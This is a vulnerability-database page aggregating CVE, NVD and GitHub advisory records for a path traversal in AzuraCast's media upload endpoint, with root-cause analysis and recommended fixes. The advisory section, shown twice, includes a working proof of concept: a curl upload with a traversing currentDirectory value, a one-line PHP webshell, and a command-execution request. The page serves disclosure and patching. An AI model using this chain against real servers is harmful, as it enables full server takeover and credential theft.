Vulnerability-Lookup

CVE-2026-42605 (GCVE-0-2026-42605)

Vulnerability from cvelistv5 – Published: 2026-05-09 19:44 – Updated: 2026-05-11 14:52

Title

AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload

Summary

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/AzuraCast/AzuraCast/security/a…	x_refsource_CONFIRM
https://github.com/AzuraCast/AzuraCast/commit/18c…	x_refsource_MISC
https://github.com/AzuraCast/AzuraCast/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
AzuraCast	AzuraCast	Affected: < 0.23.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42605",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-11T14:51:59.547374Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-11T14:52:29.871Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AzuraCast",
          "vendor": "AzuraCast",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station\u0027s media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-09T19:44:05.893Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
        },
        {
          "name": "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"
        },
        {
          "name": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
        }
      ],
      "source": {
        "advisory": "GHSA-vp2f-cqqp-478j",
        "discovery": "UNKNOWN"
      },
      "title": "AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42605",
    "datePublished": "2026-05-09T19:44:05.893Z",
    "dateReserved": "2026-04-29T00:31:15.725Z",
    "dateUpdated": "2026-05-11T14:52:29.871Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-42605",
      "date": "2026-07-25",
      "epss": "0.00832",
      "percentile": "0.53847"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-42605\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-09T20:16:30.020\",\"lastModified\":\"2026-07-24T19:10:00.160\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station\u0027s media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.\"},{\"lang\":\"es\",\"value\":\"AzuraCast es una suite de gesti\u00f3n de radio web autoalojada y todo en uno. Antes de la versi\u00f3n 0.23.6, el par\u00e1metro de solicitud currentDirectory en el endpoint de carga de medios de Flow.js (POST /api/station/{station_id}/files/upload) no se sanea para secuencias de salto de ruta. Cuando se combina con un backend de almacenamiento de sistema de archivos local (el predeterminado), un usuario autenticado con permisos de gesti\u00f3n de medios puede escribir archivos arbitrarios fuera del directorio de almacenamiento de medios de la estaci\u00f3n, logrando ejecuci\u00f3n remota de c\u00f3digo al escribir una webshell PHP en la ra\u00edz web. Este problema ha sido parcheado en la versi\u00f3n 0.23.6.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"AzuraCast\",\"product\":\"AzuraCast\",\"versions\":[{\"version\":\"\u003c 0.23.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-05-11T14:51:59.547374Z\",\"id\":\"CVE-2026-42605\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:azuracast:azuracast:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"0.23.6\",\"matchCriteriaId\":\"67379BAE-08E4-4D21-AFAD-27A6CD3F9DEC\"}]}]}],\"references\":[{\"url\":\"https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]}]}}",
    "redhat_vex": {
      "current_release_date": "2026-05-11T20:25:52+00:00",
      "cve": "CVE-2026-42605",
      "id": "CVE-2026-42605",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42605.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"cna\": {\"title\": \"AzuraCast: Path Traversal in `currentDirectory` Parameter Enables Remote Code Execution via Media Upload\", \"problemTypes\": [{\"descriptions\": [{\"cweId\": \"CWE-22\", \"lang\": \"en\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\", \"type\": \"CWE\"}]}], \"metrics\": [{\"cvssV3_1\": {\"attackComplexity\": \"LOW\", \"attackVector\": \"NETWORK\", \"availabilityImpact\": \"HIGH\", \"baseScore\": 8.8, \"baseSeverity\": \"HIGH\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"scope\": \"UNCHANGED\", \"userInteraction\": \"NONE\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"version\": \"3.1\"}}], \"references\": [{\"name\": \"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j\", \"tags\": [\"x_refsource_CONFIRM\"], \"url\": \"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j\"}, {\"name\": \"https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d\"}, {\"name\": \"https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6\"}], \"affected\": [{\"vendor\": \"AzuraCast\", \"product\": \"AzuraCast\", \"versions\": [{\"version\": \"\u003c 0.23.6\", \"status\": \"affected\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-09T19:44:05.893Z\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station\u0027s media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.\"}], \"source\": {\"advisory\": \"GHSA-vp2f-cqqp-478j\", \"discovery\": \"UNKNOWN\"}}, \"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-42605\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-11T14:51:59.547374Z\"}}}], \"references\": [{\"url\": \"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-11T14:52:25.790Z\"}}]}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-42605\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"state\": \"PUBLISHED\", \"assignerShortName\": \"GitHub_M\", \"dateReserved\": \"2026-04-29T00:31:15.725Z\", \"datePublished\": \"2026-05-09T19:44:05.893Z\", \"dateUpdated\": \"2026-05-11T14:52:29.871Z\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-42605

Vulnerability from fkie_nvd - Published: 2026-05-09 20:16 - Updated: 2026-06-17 10:48

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d	Patch
security-advisories@github.com	https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6	Product
security-advisories@github.com	https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	azuracast	azuracast	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AzuraCast",
          "vendor": "AzuraCast",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:azuracast:azuracast:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "67379BAE-08E4-4D21-AFAD-27A6CD3F9DEC",
              "versionEndExcluding": "0.23.6",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station\u0027s media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6."
    }
  ],
  "id": "CVE-2026-42605",
  "lastModified": "2026-06-17T10:48:09.950",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-42605",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-11T14:51:59.547374Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-09T20:16:30.020",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-VP2F-CQQP-478J

Vulnerability from github – Published: 2026-05-04 21:16 – Updated: 2026-05-13 13:42

Summary

AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

Details

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
    $destPath = $currentDir . '/' . $destPath;
}

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

// MediaProcessor.php:75-117
try {
    if (MimeType::isFileProcessable($localPath)) {
        // ... process media ...
        return $record;
    }
    // ...
    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
    throw $e;
} finally {
    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes
}

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation
    $this->ensureDirectoryExists(dirname($destPath), ...);
    copy($localPath, $destPath);  // OS resolves ../
}

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "file_data=@shell.php"

Where shell.php contains:

<?php system($_GET['cmd']); ?>

Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.

Step 2: Execute commands via the webshell

curl "http://localhost/shell.php?cmd=id"

Expected output:

uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)

Impact

Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
Data Exfiltration: All station data, user credentials, and application secrets become accessible.

Recommended Fix

Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:

// FlowUploadAction.php — replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));

// With:
$currentDir = UploadedFile::filterClientPath(
    Types::string($request->getParam('currentDirectory'))
);

Additionally, harden LocalFilesystem::upload() to normalize paths before use:

// LocalFilesystem.php — add path normalization in upload():
public function upload(string $localPath, string $to): void
{
    $normalizer = new WhitespacePathNormalizer();
    $to = $normalizer->normalizePath($to);  // Throws PathTraversalDetected on ../

    $destPath = $this->getLocalPath($to);
    $this->ensureDirectoryExists(
        dirname($destPath),
        $this->visibilityConverter->defaultForDirectories()
    );

    if (!@copy($localPath, $destPath)) {
        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
    }
}

Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "azuracast/azuracast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:16:51Z",
    "nvd_published_at": "2026-05-09T20:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station\u0027s media storage directory, achieving remote code execution by writing a PHP webshell to the web root.\n\n## Details\n\nIn `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:\n\n```php\n// FlowUploadAction.php:79-84\n$currentDir = Types::string($request-\u003egetParam(\u0027currentDirectory\u0027));\n\n$destPath = $flowResponse-\u003egetClientFullPath();\nif (!empty($currentDir)) {\n    $destPath = $currentDir . \u0027/\u0027 . $destPath;\n}\n```\n\nWhile `$flowResponse-\u003egetClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended **after** this sanitization, reintroducing traversal capability.\n\nThis `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`:\n\n```php\n// MediaProcessor.php:75-117\ntry {\n    if (MimeType::isFileProcessable($localPath)) {\n        // ... process media ...\n        return $record;\n    }\n    // ...\n    throw CannotProcessMediaException::forPath($path, \u0027File type cannot be processed.\u0027);\n} catch (CannotProcessMediaException $e) {\n    $this-\u003eunprocessableMediaRepo-\u003esetForPath($storageLocation, $path, $e-\u003egetMessage());\n    throw $e;\n} finally {\n    $fs-\u003euploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes\n}\n```\n\nThe `finally` block writes the file to the traversed path **regardless** of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates.\n\nFor local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`:\n\n```php\n// LocalFilesystem.php:45-57\npublic function upload(string $localPath, string $to): void\n{\n    $destPath = $this-\u003egetLocalPath($to);  // PathPrefixer::prefixPath() \u2014 simple concatenation\n    $this-\u003eensureDirectoryExists(dirname($destPath), ...);\n    copy($localPath, $destPath);  // OS resolves ../\n}\n```\n\n`getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This **bypasses** the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root.\n\nNote: `RemoteFilesystem::upload()` uses `$this-\u003ewriteStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.\n\nThe route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` \u2014 a permission granted to DJs and station managers, not only admins.\n\n## PoC\n\nAssuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:\n\n**Step 1: Upload a PHP webshell via path traversal**\n\n```bash\ncurl -X POST \"http://localhost/api/station/1/files/upload\" \\\n  -H \"Authorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\" \\\n  -F \"flowTotalChunks=1\" \\\n  -F \"flowChunkNumber=1\" \\\n  -F \"flowCurrentChunkSize=44\" \\\n  -F \"flowTotalSize=44\" \\\n  -F \"flowIdentifier=abc123\" \\\n  -F \"flowFilename=shell.php\" \\\n  -F \"currentDirectory=../../../../../var/azuracast/www/public\" \\\n  -F \"file_data=@shell.php\"\n```\n\nWhere `shell.php` contains:\n```php\n\u003c?php system($_GET[\u0027cmd\u0027]); ?\u003e\n```\n\nExpected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block.\n\n**Step 2: Execute commands via the webshell**\n\n```bash\ncurl \"http://localhost/shell.php?cmd=id\"\n```\n\nExpected output:\n```\nuid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)\n```\n\n## Impact\n\n- **Remote Code Execution**: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.\n- **Full Server Compromise**: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.\n- **Privilege Escalation**: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.\n- **Data Exfiltration**: All station data, user credentials, and application secrets become accessible.\n\n## Recommended Fix\n\nSanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames:\n\n```php\n// FlowUploadAction.php \u2014 replace line 79:\n$currentDir = Types::string($request-\u003egetParam(\u0027currentDirectory\u0027));\n\n// With:\n$currentDir = UploadedFile::filterClientPath(\n    Types::string($request-\u003egetParam(\u0027currentDirectory\u0027))\n);\n```\n\nAdditionally, harden `LocalFilesystem::upload()` to normalize paths before use:\n\n```php\n// LocalFilesystem.php \u2014 add path normalization in upload():\npublic function upload(string $localPath, string $to): void\n{\n    $normalizer = new WhitespacePathNormalizer();\n    $to = $normalizer-\u003enormalizePath($to);  // Throws PathTraversalDetected on ../\n\n    $destPath = $this-\u003egetLocalPath($to);\n    $this-\u003eensureDirectoryExists(\n        dirname($destPath),\n        $this-\u003evisibilityConverter-\u003edefaultForDirectories()\n    );\n\n    if (!@copy($localPath, $destPath)) {\n        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);\n    }\n}\n```\n\nAlso sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.",
  "id": "GHSA-vp2f-cqqp-478j",
  "modified": "2026-05-13T13:42:15Z",
  "published": "2026-05-04T21:16:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzuraCast/AzuraCast"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload"
}

Sightings

Author	Source	Type	Date	Other

